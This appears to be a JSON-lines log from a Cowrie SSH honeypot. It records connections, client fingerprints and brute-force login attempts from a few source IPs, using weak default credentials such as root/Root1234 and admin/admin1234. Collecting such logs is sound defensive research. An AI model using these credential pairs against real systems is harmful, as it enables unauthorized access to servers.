{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd12345","message":"login attempt [ubuntu/asd12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:40.604590Z","src_ip":"91.92.40.36","session":"43e3ef3a4e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:40.930156Z","src_ip":"45.153.34.195","session":"c60f617bc959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16820,"dst_ip":"10.17.0.5","dst_port":22,"session":"d202d831633c","protocol":"ssh","message":"New connection: 45.153.34.195:16820 (10.17.0.5:22) [session: d202d831633c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:42.390706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:42.394953Z","src_ip":"45.153.34.195","session":"d202d831633c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:42.475980Z","src_ip":"45.153.34.195","session":"d202d831633c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centreon","password":"centreon","message":"login attempt [centreon/centreon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:42.721522Z","src_ip":"45.153.34.195","session":"d202d831633c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:43.805270Z","src_ip":"45.153.34.195","session":"d202d831633c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16832,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5f120254026","protocol":"ssh","message":"New connection: 45.153.34.195:16832 (10.17.0.5:22) [session: e5f120254026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:45.134257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:45.172052Z","src_ip":"45.153.34.195","session":"e5f120254026","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:45.263106Z","src_ip":"45.153.34.195","session":"e5f120254026","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"123","message":"login attempt [odoo18/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:45.611447Z","src_ip":"45.153.34.195","session":"e5f120254026","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48880,"dst_ip":"159.203.135.109","dst_port":22,"session":"e62898b32a0c","protocol":"ssh","message":"New connection: 91.92.40.36:48880 (159.203.135.109:22) [session: e62898b32a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:46.121978Z"}
{"eventid":"cowrie.session.closed","duration":"27.8","message":"Connection lost after 27.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:46.349399Z","src_ip":"91.92.40.36","session":"43e3ef3a4e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:46.695210Z","src_ip":"45.153.34.195","session":"e5f120254026","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16842,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eedc014b5ce","protocol":"ssh","message":"New connection: 45.153.34.195:16842 (10.17.0.5:22) [session: 9eedc014b5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:48.067891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:48.154738Z","src_ip":"45.153.34.195","session":"9eedc014b5ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:48.159184Z","src_ip":"45.153.34.195","session":"9eedc014b5ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"123qwe","message":"login attempt [dspace/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:48.186318Z","src_ip":"91.92.40.36","session":"f03fd4529dbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1234","message":"login attempt [root/Root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:48.633408Z","src_ip":"45.153.34.195","session":"9eedc014b5ce","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:48.858507Z","src_ip":"91.92.40.36","session":"e62898b32a0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:49.736628Z","src_ip":"45.153.34.195","session":"9eedc014b5ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":59557,"dst_ip":"10.17.0.5","dst_port":22,"session":"db0f1730718e","protocol":"ssh","message":"New connection: 23.175.50.52:59557 (10.17.0.5:22) [session: db0f1730718e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:50.494241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:50.499473Z","src_ip":"23.175.50.52","session":"db0f1730718e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:50.665488Z","src_ip":"23.175.50.52","session":"db0f1730718e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16856,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcd6942d2569","protocol":"ssh","message":"New connection: 45.153.34.195:16856 (10.17.0.5:22) [session: bcd6942d2569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:50.908622Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test1234","message":"login attempt [test/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:51.015915Z","src_ip":"91.92.40.36","session":"2a5c5afae1d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36386,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b6c2dfca9a4","protocol":"ssh","message":"New connection: 91.92.40.36:36386 (159.203.135.109:22) [session: 0b6c2dfca9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:51.020804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:51.054117Z","src_ip":"45.153.34.195","session":"bcd6942d2569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:51.057489Z","src_ip":"45.153.34.195","session":"bcd6942d2569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"1234","message":"login attempt [mysql/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:51.222796Z","src_ip":"91.92.40.36","session":"7510f3408683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1234","message":"login attempt [openclaw/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:51.568811Z","src_ip":"45.153.34.195","session":"bcd6942d2569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:52.171768Z","src_ip":"91.92.40.36","session":"e62898b32a0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:52.660037Z","src_ip":"45.153.34.195","session":"bcd6942d2569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.2","message":"Connection lost after 27.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:53.283422Z","src_ip":"91.92.40.36","session":"f03fd4529dbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43218,"dst_ip":"10.17.0.5","dst_port":22,"session":"f928d53e03d8","protocol":"ssh","message":"New connection: 45.153.34.195:43218 (10.17.0.5:22) [session: f928d53e03d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:53.803254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:53.864641Z","src_ip":"45.153.34.195","session":"f928d53e03d8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:53.888849Z","src_ip":"91.92.40.36","session":"0b6c2dfca9a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:53.892292Z","src_ip":"91.92.40.36","session":"0b6c2dfca9a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:54.066498Z","src_ip":"45.153.34.195","session":"f928d53e03d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:54.470665Z","src_ip":"45.153.34.195","session":"f928d53e03d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36434,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dfbb3a745d8","protocol":"ssh","message":"New connection: 91.92.40.36:36434 (159.203.135.109:22) [session: 4dfbb3a745d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:54.517987Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:54.764200Z","src_ip":"23.175.50.52","session":"db0f1730718e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.1","message":"Connection lost after 19.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:55.004372Z","src_ip":"91.92.40.36","session":"2a5c5afae1d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:55.658700Z","src_ip":"45.153.34.195","session":"f928d53e03d8","protocol":"ssh"}
